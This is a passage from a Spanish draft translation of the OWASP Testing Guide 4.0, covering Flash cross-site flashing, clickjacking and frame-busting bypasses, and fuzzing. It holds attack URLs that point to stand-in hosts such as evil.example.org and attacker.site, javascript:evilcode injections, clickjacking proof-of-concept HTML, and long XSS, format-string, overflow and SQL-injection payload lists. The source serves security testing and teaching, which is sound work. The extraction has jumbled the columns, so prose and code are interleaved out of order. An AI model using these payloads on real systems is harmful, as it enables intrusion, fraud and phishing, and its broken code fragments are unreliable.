ZAP es una herramienta de pruebas de penetración integrada, fácil de usar para encontrar vulnerabilidades en aplicaciones web. Está diseñada para ser utilizada por personas con amplia experiencia en seguridad y, como tal, es ideal para desarrolladores y evaluadores funcionales que son nuevos en el uso de pruebas de penetración. ZAP ofrece escáneres automatizados, así como un conjunto de herramientas que le permiten encontrar vulnerabilidades de seguridad de forma manual.

Descompilación Dado que los archivos SWF son interpretados por una máquina virtual integrada en el propio reproductor, estos pueden ser potencialmente descompilados y analizados. El descompilador más conocido y gratuito de ActionScript 2.0 es flare.

Para descompilar un archivo SWF con flare solo escriba: $ flare hello.swf

Referencias lo que dará lugar a un nuevo archivo llamado hello.flr. Recursos OWASP • OWASP HTML5 Security Cheat Sheet: owasp.org Libros Blancos • W3C - CORS W3C Specification: w3.org

Prueba de Cross-site flashing (OTG-CLIENT-008) Resumen ActionScript es el lenguaje basado en ECMAScript, usado por las aplicaciones Flash cuando maneja necesidades interactivas. Hay tres versiones del lenguaje ActionScript. ActionScript 1.0 y ActionScript 2.0 son muy similares con ActionScript 2.0 que es una extensión de ActionScript 1.0. ActionScript 3.0, introducido con Flash Player 9, es una reescritura del lenguaje para apoyar el diseño orientado por objetos.

ActionScript, como cualquier otro lenguaje, tiene algunos patrones de implementación que podrían llevar a problemas de seguridad. En

La descompilación ayuda a los evaluadores, ya que permite realizar pruebas de las aplicaciones Flash asistidas por el código fuente o de Caja Blanca. La herramienta gratuita SWFScan de HP puede descompilar tanto ActionScript 2.0 como ActionScript 3.0.

El Proyecto de Seguridad Flash de OWASP mantiene una lista actualizada de desensambladores, descompiladores y otras herramientas de prueba relacionadas con Adobe Flash.

Las variables indefinidas FlashVars FlashVars son las variables que el desarrollador SWF planificó recibir desde la página web. Las FlashVars normalmente se pasan desde el objeto o la etiqueta incorporada dentro de HTML. Por ejemplo: Las FlashVars también se pueden inicializar desde la URL:

trace(‘Locale loaded xml’);

http://www.example.org/somefilename.swf?var1=val1&var2=val2

var v3 = this.xliff.file.body.$trans_unit; var v2 = 0;

En ActionScript 3.0, un desarrollador debe asignar explícitamente los valores FlashVar a las variables locales. Por lo general, esto se ve como:

while (v2 < v3.length) { Locale.strings[v3[v2]._resname] = v3[v2].source.__text;

var paramObj:Object = LoaderInfo(this.root.loaderInfo).parameters; ++v2; var var1:String = String(paramObj[“var1”]); } var var2:String = String(paramObj[“var2”]); on_load(); } else {} En ActionScript 2.0, cualquier variable global no inicializada se asume como una variable de Flash. Las variables globales son aquellas variables que se anteponen con _root, _global o _level0. Esto significa que si un atributo como:

}; if (_root.language != undefined) {

_root.varname

Locale.DEFAULT_LANG = _root.language; }

es indefinido a lo largo del flujo del código, se podría sobrescribir configurando v5.load(Locale.DEFAULT_LANG + ‘/player_’ + http://victim/file.swf?varname=value Locale.DEFAULT_LANG + ‘.xml’); }; Independientemente de si usted está viendo ActionScript 2.0 o ActionScript 3.0, las variables de Flash pueden ser un vector de ataque. Veamos una parte del código ActionScript 2.0 que es vulnerable:

El código anterior podría ser atacado mediante la solicitud: http://victim/file.swf?language=http://evil.example.org/malicious.xml?

Ejemplo: movieClip 328 __Packages.Locale { Métodos inseguros

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 308

Guia de pruebas 4.0 "Borrador"

Cuando se identifica un punto de entrada, los datos que representa podrían ser utilizados por métodos inseguros. Si los datos no se filtran/validan usando la expresión regexp correcta, estos podrían conducir a algún problema de seguridad.

XSS GetURL (AS2) / NavigateToURL (AS3):

Los métodos inseguros desde la versión r47 son:

La función GetURL de ActionScript 2.0 y NavigateToURL en ActionScript 3.0 permite que la película cargue un URI en la ventana del navegador.

loadVariables() loadMovie()

Así que si una variable indefinida se utiliza como el primer argumento para getURL:

getURL() getURL(_root.URI,’_targetFrame’); loadMovie() loadMovieNum() FScrollPane.loadScrollContent()

o si un FlashVar se utiliza como el parámetro que se envía a una función navigateToURL:

LoadVars.load

var request:URLRequest = new URLRequest(FlashVarSuppliedURL);

LoadVars.send

navigateToURL(request);

XML.load ( ‘url’ ) LoadVars.load ( ‘url’ )

Entonces esto significará que es posible llamar a JavaScript en el mismo dominio en el que la película está alojada, solicitando:

Sound.loadSound( ‘url’ , isStreaming ); http://victim/file.swf?URI=javascript:evilcode NetStream.play( ‘url’ );

getURL(‘javascript:evilcode’,’_self’); flash.external.ExternalInterface.call(_root.callback) Lo mismo pasa cuando solamente se controla una parte de getURL: htmlText

La prueba Con el fin de aprovechar una vulnerabilidad, el archivo SWF debe estar alojado en el host de la víctima, y se deben utilizar las técnicas de XSS reflejado. Eso obliga al navegador a cargar un archivo SWF puro directamente en la barra de direcciones (mediante una redirección o ingeniería social) o cargándolo a través de un iframe desde una página maligna; <iframe src=’http://victim/path/to/file.swf’>

Dom Injection with Flash JavaScript injection

getUrl(‘javascript:function(‘+_root.arg+’))

asfunction: Se puede utilizar el protocolo especial asfunction para que el enlace ejecute una función ActionScript en un archivo SWF en lugar de abrir una URL. Hasta el lanzamiento de Flash Player 9 r48, asfunction podía ser utilizada en cada método que tiene una URL como argumento. Después de ese lanzamiento, asfunction se limita al uso dentro de un campo de texto HTML.

Esto se debe a que en esta situación el navegador autogenera una página HTML como si fuera invitada por el host de la víctima.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 309

Guia de pruebas 4.0 "Borrador"

Esto significa que un evaluador podría intentar inyectar: asfunction:getURL,javascript:evilcode

Así que, si alguna parte del texto puede ser controlada por el evaluador, una etiqueta A o una etiqueta IMG podría inyectarse, lo que resultaría en la modificación de la GUI o del uso de XSS en el navegador.

en cada método inseguro como:

Algunos ejemplos de ataque con una etiqueta A:

loadMovie(_root.URL)

• Direct XSS:

solicitando:

• Call a function:

http://victim/file.swf?URL=asfunction:getURL,javascript:evilcode • Call SWF public functions: ExternalInterface:



ExternalInterface.call es un método estático introducido por Adobe para mejorar la interacción jugador/navegador con ActionScript 2.0 y ActionScript 3.0.

• Call native static as function:

Desde el punto de vista de seguridad, podría ser objeto de abuso si parte de su argumento puede ser controlado:

La etiqueta IMG podría ser utilizada también:

flash.external.ExternalInterface.call(_root.callback); (.swf is necessary to bypass flash player internal filter) El patrón de ataque para este tipo de defecto podría ser algo como lo siguiente: eval(evilcode)

Nota: desde el lanzamiento de Flash Player 9.0.124.0 del Flash player XSS ya no es explotable, pero la modificación GUI todavía se puede lograr.

ya que el JavaScript interno ejecutado por el navegador será algo como:

Cross-Site Flashing

eval(‘try { __flash__toXML(‘+__root.callback+’) “”; }’)

;

}

catch

(e)

{

El cross-site flashing (XSF) es una vulnerabilidad que tiene un efecto similar a XSS.

Inyección HTML Los objetos de campo de texto pueden hacer un HTML mínimo estableciendo: tf.html = true

El XSF se produce desde diferentes dominios: • Una película carga otra película con la función loadMovie * o con otros hacks y tiene acceso a la misma zona protegida o a parte de ella.

tf.htmlText = ‘text’ • El XSF también podría ocurrir cuando una página HTML utiliza JavaScript para mandar una película de Adobe Flash, por ejemplo, comunicándose con:

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 310

Guia de pruebas 4.0 "Borrador"

• GetVariable: accede a los objetos públicos y estáticos de flash mediante una cadena JavaScript.

• SetVariable: fija un objeto estático o público de flash en un nuevo valor de cadena de JavaScript.

• Una comunicación inesperada desde el navegador hacia el SWF podría dar lugar al robo de datos de la aplicación SWF.

que el usuario tiene en trusted.example.org para engañar al usuario a que entre en su página web maliciosa. A partir de ahí, se podría poner en marcha un 0-día, se llevaría a cabo la suplantación de la página web original, o cualquier otro tipo de ataque. SWF puede, sin querer, estar actuando como un redireccionador abierto en el sitio web.

Los desarrolladores deberían evitar tomar URL completas como variables de Flash. Si sólo se va a navegar dentro de su propio sitio web, entonces se deberían utilizar URL relativas o comprobar que la URL comienza con un dominio de confianza y protocolo.

Los ataques y la versión de Flash Player Esto podría llevarse a cabo forzando a un SWF defectuoso a cargar un archivo flash malicioso externo. Este ataque podría resultar en XSS o en la modificación de la interfaz gráfica del usuario, con el fin de engañarlo para que inserte sus credenciales en un formulario flash falso. El XSF podría ser utilizado en presencia de una inyección de Flash HTML o de archivos SWF externos cuando se utilicen métodos loadMovie *.

Desde mayo de 2007, tres nuevas versiones de Flash Player fueron lanzadas al mercado por Adobe. Cada nueva versión restringe algunos de los ataques descritos anteriormente.

Redirectores abiertos Los SWF tienen la capacidad de navegar con el explorador. Si el SWF toma el destino como un FlashVar, entonces el SWF puede ser utilizado como un redirector abierto. Un redirector abierto es cualquier pieza de funcionalidad en un sitio web de confianza, que un atacante puede utilizar para redirigir al usuario a un sitio web malicioso. Estos se utilizan con frecuencia dentro de los ataques de phishing. Al igual que en cross-site scripting, el ataque implica que un usuario final haga clic en un enlace malicioso.

Resultado esperado: Cross-Site Scripting y Cross-Site Flashing son los resultados esperados en un archivo SWF defectuoso.

Herramientas En el caso de Flash, la URL maliciosa podría verse como: http://trusted.example.org/trusted.swf?getURLValue=http://www.evilspoofing-website.org/phishEndUsers.html

En el ejemplo anterior, un usuario final puede ver que la URL comienza en su sitio web favorito, de confianza, y hace clic en él. El enlace carga el archivo SWF de confianza que tiene el getURLValue y le proporciona una llamada de navegación del navegador ActionScript: getURL(_root.getURLValue,”_self”);

Este navegaría con el explorador a la URL maliciosa, proporcionada por el atacante. En este punto, el phisher ha aprovechado con éxito la confianza

• Adobe SWF Investigator: labs.adobe.com

• SWFScan: downloadcrew.com

• SWFIntruder: owasp.org

• Decompiler - Flare: nowrap.de

• Compiler - MTASC: mtasc.org

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 311

Guia de pruebas 4.0 "Borrador"

• Disassembler - Flasm: flasm.sourceforge.net

• Swfmill - Convert Swf to XML and vice versa: swfmill.org

• Debugger Version of Flash Plugin/Player: adobe.com

Referencias

"Clickjacking" (que es un subconjunto de “UI redressing”) es una técnica maliciosa que consiste en engañar a un usuario web para que interactúe (en la mayoría de los casos haciendo clic) con algo diferente a lo que el usuario cree que está interactuando.

Este tipo de ataque, que puede ser utilizado solo o en combinación con otros ataques, podría potencialmente enviar comandos no autorizados o revelar información confidencial mientras la víctima está interactuando con páginas web aparentemente inofensivas. El término "clickjacking" fue acuñado por Jeremiah Grossman y Robert Hansen en 2008.

OWASP • Proyecto de Seguirdad Flash OWASP: El Proyecto de Seguirdad OWASP Flash tiene incluso más referencias que las que se enumeran a continuación: owasp.org

Libros Blancos • Testing Flash Applications: A new attack vector for XSS

Un ataque de clickjacking utiliza características aparentemente inocuas de HTML y Javascript para obligar a la víctima a realizar acciones no deseadas tales como hacer clic en un botón que parece realizar otra operación. Se trata de un problema de seguridad "del lado del cliente", que afecta a una gran variedad de navegadores y plataformas

Para llevar a cabo este tipo de técnica, el atacante tiene que crear una página web aparentemente inofensiva que cargue la aplicación al objetivo de destino, mediante el uso de un iframe (convenientemente oculto mediante el uso de código CSS).

and XSFlashing: owasp.org

• Finding Vulnerabilities in Flash Applications: owasp.org

Una vez que esto se ha hecho, el atacante podría inducir a la víctima a interactuar con su página web ficticia por otros medios (como por ejemplo ingeniería social). Al igual que otros ataques, un requisito habitual es que la víctima sea autenticada contra el sitio web de destino del atacante.

• Adobe security updates with Flash Player 9,0,124,0 to reduce cross-site attacks: adobe.com

• Securing SWF Applications: adobe.com

• The Flash Player Development Center Security Section: adobe.com

• The Flash Player 10.0 Security Whitepaper: adobe.com

Prueba de Clickjacking (OTG-CLIENT-009) Resumen

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 312

Guia de pruebas 4.0 "Borrador"

Una vez que la víctima navega en la página web ficticia, piensa que está interactuando con la interfaz de usuario visible, pero efectivamente está llevando a cabo acciones en la página oculta.



Debido a que la página oculta es una página auténtica, el atacante puede engañar a los usuarios para realizar acciones que nunca tuvieron la intención de hacer a través de un posicionamiento "ad hoc" de los elementos de la página web.

Website is vulnerable to clickjacking!

<iframe src=”http://www.target.site” height=”500”>

width=”500”



El poder de este método se debe al hecho de que las acciones realizadas por la víctima se originaron desde la página web auténtica (oculta pero auténtica). En consecuencia, algunas de las protecciones contra CSRF realizadas por los desarrolladores para proteger a la página web de los ataques CSRF podrían ser evadidas.

Resultado esperado: Si se puede ver el texto "Sitio web vulnerable a clickjacking" (Website is vulnerable to clickjacking!) en la parte superior de la página y su página web de destino logra cargarla correctamente en el marco, entonces su sitio es vulnerable y no tiene ningún tipo de protección contra los ataques de clickjacking. Ahora usted puede crear directamente una "prueba de concepto" para demostrar que un atacante podría aprovechar esta vulnerabilidad.

Pasar por alto la protección para Clickjacking: Cómo probar Como se mencionó anteriormente, este tipo de ataque es, a menudo, diseñado para permitir que el sitio del atacante pueda inducir al usuario hacia el sitio de destino, incluso si se utilizan fichas contra-CSRF. Así que es importante, al igual que para el ataque CSRF, identificar las páginas web del sitio de destino que reciben datos ingresados por el usuario.

Tenemos que descubrir si el sitio web que estamos probando no tiene ninguna protección contra ataques de clickjacking o, si los desarrolladores han puesto en práctica algunas formas de protección, si estas técnicas son susceptibles de ser evadidas. Una vez que sabemos que el sitio web es vulnerable, podemos crear una "prueba de concepto" para explotar la vulnerabilidad.

El primer paso para descubrir si un sitio web es vulnerable es comprobar si la página web de destino podría ser cargada en un iframe. Para ello es necesario crear una página web sencilla, que incluya un marco que contenga la página web de destino. El código HTML para crear esta página web de pruebas se muestra en el siguiente fragmento:

En el caso que sólo se vea el sitio de destino o el texto "Sitio Web vulnerable a clickjacking!", pero no aparece nada en el iframe, esto quiere decir que el objetivo probablemente tiene algún tipo de protección contra el clickjacking. Es importante tener en cuenta que esto no es una garantía de que la página sea totalmente inmune a clickjacking.

Los métodos para proteger una página web del clickjacking se pueden dividir en dos grandes categorías:

• Protección del lado del cliente: Frame Busting • Protección del lado del servidor: X-Frame-Options

En algunas circunstancias, cada uno de los tipos de defensa podrían ser evitados. A continuación se presentan los principales métodos de protección contra estos ataques y las técnicas para evitarlos.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 313

Guia de pruebas 4.0 "Borrador"

Protección del lado del clente: Frame Busting El método más común del lado del cliente, que ha sido desarrollado para proteger a una página web del clickjacking, se llama Frame Busting y se compone de un script o secuencia de comandos en cada página, que no deben ser enmarcados. El objetivo de esta técnica es evitar que un sitio funcione cuando se carga dentro de un marco.

convierte en una violación de la seguridad en todos los navegadores populares debido a la política de navegación de marco descendiente. política. Esta violación de seguridad impide la navegación contra-acción. El código del sitio de destino del frame busting (sitio de destino): if(top.location!=self.locaton) { parent.location = self.location;

La estructura del código frame busting consiste típicamente en una "frase condicional" y un comando de "acción defensiva". Para este tipo de protección, hay algunos métodos alternativos que están bajo el nombre de "reventar el frame busting." Algunas de estas técnicas son específicas de un navegador, mientras que otras funcionan en todos los navegadores.

} Marco superior del atacante (fictitious2.html): <iframe src=”fictitious.html”> Submarco ficticio del atacante (fictitious.html):

Versión móvil del sitio web Las versiones móviles de la página web son generalmente más pequeñas y más rápidas que las del escritorio y tienen que ser menos complejas que la aplicación principal. Las variantes móviles tienen, a menudo, menos protección, ya que existe la suposición errónea de que un atacante no puede atacar a una solicitud presentada por el teléfono inteligente. Este es un error fundamental, ya que un atacante puede falsificar el origen real dado por un navegador web, de tal manera que una víctima no móvil puede ser capaz de visitar una aplicación hecha para los usuarios móviles. De este supuesto se deduce que, en algunos casos, no es necesario utilizar técnicas de evadir el frame busting cuando hay alternativas sin protección que permiten el uso de los mismos vectores de ataque.

<iframe src=”http://target site”>

Desactivación de Javascript Dado que este tipo de protecciones del lado del cliente se basan en el código frame busting de JavaScript, si la víctima tiene desactivado JavaScript o si es posible que un atacante pueda desactivar el código JavaScript, la página web no tendrá ningún mecanismo de protección contra el clickjacking.

Hay tres técnicas de desactivación que se pueden utilizar con los marcos: • Marcos restringidos con Internet Explorer: A partir de

Enmarcado doble Algunas técnicas de frame busting tratan de romper el marco mediante la asignación de un valor al atributo "parent.location" en el comando "contra-acción".

Internet Explorer 6, un marco puede tener el atributo "seguridad" que, si se establece en el valor "restringido", asegura el código JavaScript, los controles ActiveX y redirige a otros sitios que no funcionan en el marco. Ejemplo: <iframe src=”http://target site” security=”restricted”>

Esas acciones son, por ejemplo: • self.parent.location = document.location • parent.location.href = self.location • parent.location = self.location

Este método funciona bien hasta que la página de destino se encuentra enmarcada en una sola página. Sin embargo, si el atacante encierra la página web de destino en un bastidor que está anidado en otro (un marco doble), a continuación tratará de acceder a "parent.location", lo que se

• Atributo Sandbox: con HTML5 hay un nuevo atributo llamado "sandbox". Éste permite un conjunto de restricciones en el contenido cargado en el iframe. Por el momento, este atributo sólo es compatible con Chrome y Safari.

Ejemplo:

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 314

Guia de pruebas 4.0 "Borrador"

<iframe src=”http://target site” sandbox> A continuación un código de ejemplo: Modo Diseño: Paul Stone mostró un problema de seguridad en relación con el "designMode" que puede ser activado en la página de referencia (a través de document.designMode), desactivando JavaScript en la parte superior y el sub-marco. Actualmente, el modo de diseño se implementa en Firefox e Internet Explorer 8.

página 204:

El evento onBeforeUnload El evento onbeforeunload podría ser utilizado para evadir el código de frame busting. Este evento sucede cuando el código de frame busting quiere destruir el iframe cargando la URL en toda la página web y no sólo en el iframe. La función de controlador devuelve una cadena que se dirige al usuario para confirmar si quiere salir de la página. Cuando se muestra esta cadena al usuario es probablemente para cancelar la navegación, derrotando el intento del frame busting en el objetivo.

Página del atacante: <script> var prevent_bust = 0; window.onbeforeunload = function() { prevent_bust++; };

El atacante puede utilizar este ataque al registrar un evento de descarga en la primera página al usar el siguiente ejemplo de código:

setInterval(

www.fictitious.site

function() { <script> if (prevent_bust > 0) { window.onbeforeunload = function() prevent_bust -= 2; { window.top.location return “ Do you want to leave fictitious.site?”;

}

} }, 1);

<iframe src=”http://target site”>



La técnica anterior requiere la interacción del usuario, pero el mismo resultado se puede lograr sin preguntar al usuario. Para ello, el atacante tiene que cancelar automáticamente la solicitud de navegación de entrada en un controlador de eventos onbeforeunload, presentando en varias ocasiones (por ejemplo, cada milisegundo) una solicitud de navegación a una página web que responde a un encabezado "HTTP / 1.1 204 No Content".

<iframe src=”http://target site”>

Ya que con esta respuesta el navegador no va a hacer nada, el resultado de esta operación es la descarga de la tubería solicitada, inutilizando el intento del frame busting.

=

“http://attacker.site/204.php”;

Filtro XSS A partir de Google Chrome 4.0 y de IE8, se introdujeron filtros XSS para proteger a los usuarios contra ataques reflejados XSS. Nava y Lindsay han observado que este tipo de filtros se puede utilizar para desactivar el código de frame busting falso como código malicioso.

• Filtro de IE8 XSS: este filtro tiene visibilidad en todas las solicitudes y los parámetros de respuestas fluyen a través del navegador web y se los

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 315

Guia de pruebas 4.0 "Borrador"

compara con un conjunto de expresiones regulares con el fin de buscar los intentos reflejado de XSS. Cuando el filtro identifica un posible ataque XSS, se desactivan todas las secuencias de comandos dentro de la página, incluyendo los scripts de frame busting (lo mismo podría hacerse con guiones externos). Por esta razón, un atacante podría inducir un falso positivo insertando el comienzo de la secuencia de comandos de frame busting en un los parámetros de solicitud.

Ejemplo: código de frame busting en la página web destinada:

site/?param=if(top+!%3D+self)+%7B+top.location%3Dself.location%3B+%7 D”>

Redefinición de localización Para varios navegadores, la variable "document.location" es un atributo inmutable. Sin embargo, para algunas versiones de Internet Explorer y Safari es posible redefinir este atributo. Este hecho puede ser explotado para evadir el código de frame busting.

if ( top != self ) • Redefinición de localización en IE7 e IE8: es posible redefinir "localización", como se ilustra en el siguiente ejemplo. Mediante la definición de "localización" como una variable, cualquier código que intente leer o navegar por la asignación de "top.location" producirá un error debido a una violación de seguridad y así se suspenderá el código de frame busting.

{ top.location=self.location; }

Ejemplo: Código de ataque: <script> <iframe src=”http://target site/?param=<script>if”> var location = “xyz”; • Chrome 4.0 XSSAuditor filter: Chrome tiene un comportamiento un poco diferente en comparación con el filtro de IE8 XSS. De hecho, con este filtro un atacante podría desactivar un "guión" que pasa por su código en un parámetro de la solicitud. Esto permite que la página de encuadre se dirija específicamente a un único fragmento que contiene el código de frame busting, dejando intactos todos los demás códigos.

<iframe src=”http://target site”> • Redefinición de localización en Safari 4.0.4: Para romper el código de frame busting con "top.location", es posible enlazar "localización" a una función a través de defineSetter (a través de la ventana), de manera que un intento de leer o navegar a la "top.location" producirá un error.

Ejemplo: código de frame busting en la página web destinada: Ejemplo: <script> <script> if ( top != self ) window.defineSetter(“location” , function(){}); { top.location=self.location; <iframe src=”http://target site”> } Protección del lado del servidor: X-Frame-Options

Código de ataque: <iframe

src=”http://target

Un enfoque alternativo del lado del cliente para el código de frame busting fue implementado por Microsoft, y consiste en un encabezado basado en una defensa. Este nuevo encabezado "X-Frame-Options" se envía desde el servidor en las respuestas HTTP y se utiliza para marcar

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 316

Guia de pruebas 4.0 "Borrador"

las páginas web que no deben ser enmarcadas. Este encabezado puede tomar los valores DENY (Negar), SAMEORIGIN (Mismo origen), ALLOWFROM origin (permitir desde el origen), o non-standard ALLOWALL (no estándar permitir todo). El valor recomendado es DENY.

El encabezado "X-Frame-Options" es una solución muy buena y fue adoptada por los principales navegadores, pero hay algunas limitaciones que podrían conducir a la explotación de la vulnerabilidad de clickjacking.

destino permite autenticar y autorizar a los usuarios a realizar una transferencia de dinero a otra cuenta.

Supongamos que para ejecutar la transferencia, los desarrolladores han previsto tres pasos. En el primer paso, el usuario llena un formulario con la cuenta de destino y la cantidad. En el segundo paso, cada vez que el usuario envía el formulario, se presenta una página de resumen pidiendo confirmación (como la que se presenta en la siguiente imagen).

Compatibilidad del navegador Ya que el encabezado "X-Frame-Options" se introdujo en 2009, éste no es compatible con un navegador antiguo. Cada usuario que no tenga un navegador actualizado podría ser víctima de un ataque de clickjacking.

Un fragmento del código como ejemplo para el paso 2: //generate random anti CSRF token $csrfToken = md5(uniqid(rand(), TRUE));/ /set the token as in the session data $_SESSION[‘antiCsrf’] = $csrfToken;

//Transfer form with the hidden field $form = ‘ Proxies Los web proxies son conocidos por añadir y quitar encabezados. En el caso en el que un web proxy despoje al encabezado "X-Frame-Options", el sitio pierde su protección de enmarcar.

BANK XYZ - Confirm Transfer

Versión móvil del sitio web También en este caso, ya que el encabezado"X-Frame-Options" tiene que ser implementado en todas las páginas del sitio web, los desarrolladores pueden no haber protegido a la versión móvil de la página web.

Do You want to confirm a transfer of ’. $_RE UEST[‘amount’] .’ € to account: ’. $_RE UEST[‘account’] .’ ?

Crear una "prueba de concepto" Una vez que hemos descubierto que el sitio que estamos probando es vulnerable a los ataques de clickjacking, podemos proceder con el desarrollo de una "prueba de concepto" para demostrar la vulnerabilidad. Es importante señalar que, como se mencionó anteriormente, estos ataques se pueden utilizar en combinación con otras formas de ataques (por ejemplo ataques CSRF) y podrían conducir a vencer los tokens antiCSRF. En este sentido, podemos imaginar que, por ejemplo, el sitio de



name=”amount”



name=”account”


type=”hidden”

name=”antiCsrf”

value=”’ . $csrfToken . ‘” />

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 317

Guia de pruebas 4.0 "Borrador"


type=”submit”

class=”button”

value=”Transfer Money” />

evadir la protección anti-CSRF y obligar a la víctima a hacer una transferencia de dinero sin su consentimiento.

’;

En el último paso, están los controles de seguridad planificados y, entonces, si todo está bien, se hace la transferencia. El siguiente es un fragmento del código del último paso (Nota: en este ejemplo, para simplificar, no hay ninguna limpieza de entrada, pero no es relevante bloquear este tipo de ataque): if( (!empty($_SESSION[‘antiCsrf’])) && (!empty($_POST[‘antiCsrf’])) )

La página de destino para el ataque es el segundo paso del procedimiento de transferencia de dinero. Dado que los desarrolladores ponen los controles de seguridad sólo en el último paso, pensando que esto es lo suficientemente seguro, el atacante podría pasar la cuenta y los parámetros de cantidad mediante el método GET. (Nota: Hay un intento de clickjacking avanzado que permite a un atacante obligar al usuario a llenar un formulario, haciendo el clickjacking factible incluso para los sitios en los que se requiere llenar formularios.

La página del atacante puede verse como una simple e inofensiva página web como la que se presenta a continuación:

{

//here we can suppose input sanitization code…

//check the anti-CSRF token

Pero, al jugar con el valor de opacidad CSS, podemos ver lo que se esconde debajo de una página web aparentemente inocua.

if( ($_SESSION[‘antiCsrf’] == $_POST[‘antiCsrf’]) ) { echo ‘

‘. $_POST[‘amount’] .’ € successfully transfered to account: ‘. $_POST[‘account’] .’

’; }

} else

El código de clickjacking que crea esta página se presenta a continuación:

{

echo ‘

Transfer KO

’;



}



Como se puede ver, el código está protegido de ataques CSRF de dos maneras: una con un token aleatorio generado en el segundo paso y la otra, aceptando solamente el método de variable pasada vía POST. En esta situación, un atacante podría forjar un ataque CSRF + Clickjacking para



Ocultamiento recursivo El ocultamiento recursivo se puede definir como el proceso de difuminar una parte de una solicitud por iteración, a través de todas las posibles combinaciones de un sistema alfabético. Consideremos el caso de: http://www.example.com/8302fa3b

>”’>
alert(%26quot;%26%23x20;XSS%26%23x20;Test%26%23x20;Successful%26qu ot;)>

Al seleccionar "8302fa3b" como una parte de la solicitud para ser difuminada contra el sistema alfabético hexadecimal (es decir, {0,1,2,3,4,5,6,7,8,9, a, b, c, d, e , f}), cae bajo la categoría de ocultamiento recursivo. Esto generaría un total de 16 ^ 8 solicitudes de la forma:

>%22%27>

http://www.example.com/00000000

“>

...

>”

http://www.example.com/11000fff

‘’;!--”=&{()}

...



‘%uff1cscript%uff1ealert(‘XSS’)%uff1c/script%uff1e’

Ocultamiento por reemplazo



El ocultamiento por reemplazo se puede definir como el proceso de difuminar parte de una solicitud al reemplazarla por un valor establecido. Este valor se conoce como vector fuzz. En el caso de:

")> #115;cri&# 112;&#116;:a

http://www.example.com/8302fa3b

La realización de pruebas de Cross Site Scripting (XSS) mediante el envío de los siguientes vectores fuzz: http://www.example.com/>”><script>alert(“XSS”)&

le&#114;t('XS;S& #39;)> #0000118as &#0000099ri&#0000112t� 000058

http://www.example.com/’’;!--”=&{()}

Esta es una forma de ocultamiento por reemplazo. En esta categoría, el número total de solicitudes depende del número de vectores fuzz especificados.

&#0000097le&#0000114t� 000040&#0000039XS&#0000083� 39)>

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 341

#x63ri&#x 70t:&#x61lert(

envuelven el suministro de lenguaje de formato específico de fichas, para ejecutar códigos arbitrarios o inhabilitar un programa. Fuzzing para este tipo de errores tiene como objetivo comprobar la entrada del usuario sin filtrar.

&#x27XSS')>

’XSS’);”>

Una excelente introducción a través de FSE se puede encontrar en el documento titulado USENIX: Detección de formato de cadena de vulnerabilidades con Tipo Calificadores.

’XSS’);”> ’XSS’);”>

Desbordamiento de búfer y de error de formato de cadena

Tenga en cuenta que el intento de cargar un archivo de definición de este tipo dentro de una aplicación fuzzer puede potencialmente causar que la aplicación se bloquee %s%p%x%d

Buffer Overflows (BFO) (desbordamiento de búfer) Un desbordamiento de memoria o un ataque de corrupción de memoria es una condición de programación que permite el desbordamiento de datos válidos, más allá de su límite de almacenamiento preubicado en la memoria.

.1024d %.2049d %p%p%p%p %x%x%x%x

Para más detalles sobre los desbordamientos de memoria: Pruebas de desbordamiento del búfer

%d%d%d%d %s%s%s%s

Tenga en cuenta que el intento de cargar un archivo de definición de este tipo dentro de una aplicación fuzzer puede potencialmente causar que la aplicación se bloquee.

%99999999999s %08x %%20d

A x5 %%20n A x 17 %%20x A x 33 %%20s A x 65 %s%s%s%s%s%s%s%s%s%s A x 129 %p%p%p%p%p%p%p%p%p%p A x 257 A x 513

%#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f% a%C%S%08x%%

A x 1024

%s x 129

A x 2049 A x 4097

Desbordamientos de números enteros (INT)

A x 8193

Los errores de desbordamiento de números enteros se producen cuando un programa no tiene en cuenta el hecho de que una operación aritmética puede resultar en una cantidad ya sea mayor que el valor máximo de un tipo de datos o menor de su valor mínimo. Si un evaluador puede hacer que el programa realice tal asignación de la memoria, el programa puede ser potencialmente vulnerable a un ataque de desbordamiento de búfer.

A x 12288 Errores de cadenas de formato (FSE) Los ataques por cadenas de formato son una clase de vulnerabilidades que

Documento Pre-release cortesía de Fernando Vela para drangonjar.org 342

(||6) -1

‘ OR 1=1--

0

OR 1=1

0x100

‘ OR ‘1’=’1

0x1000

; OR ‘1’=’1’

0x3fffffff

%22+or+isnull%281%2F0%29+%2F*

0x7ffffffe

%27+OR+%277659%27%3D%277659

0x7fffffff

%22+or+isnull%281%2F0%29+%2F*

0x80000000

%27+--+

0xfffffffe

‘ or 1=1--

0xffffffff

“ or 1=1--

0x10000

‘ or 1=1 /*

0x100000

or 1=1--

Inyección SQL

‘ or ‘a’=’a

Este ataque puede afectar a la capa de base de datos de una aplicación y normalmente está presente cuando la entrada del usuario no está filtrada para declaraciones SQL.

“ or “a”=”a ‘) or (‘a’=’a Admin’ OR ‘

Para más detalles sobre Pruebas de inyección de SQL: Pruebasde inyección SQL

‘%20SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES-) UNION SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES;

La inyección SQL se clasifica en las siguientes dos categorías, dependiendo de la exposición de la información de base de datos (pasiva) o de la alteración de la información de base de datos (activa): ‘ having 1=1-‘ having 1=1-• Inyección S L Pasiva (Passive SQL Injection) ‘ group by userid having 1=1-• Inyección S L Activa ( Active S L Injection) ‘ SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = tablename’)-Las declaraciones de inyección SQL activas pueden tener un efecto perjudicial en la base de datos subyacente si se ejecutan con éxito.

‘ or 1 in (select @@version)-‘ union all select @@version-‘ OR ‘unusual’ = ‘unusual’

Inyección SQL Pasiva (SQP) ‘ OR ‘something’ = ‘some’+’thing’ ‘||(elt(-3+5,bin(15),ord(10),hex(char(45)))) ‘ OR ‘text’ = N’text’ ||6 ‘ OR ‘something’ like ‘some%’ ‘||’6 ‘ OR 2 > 1

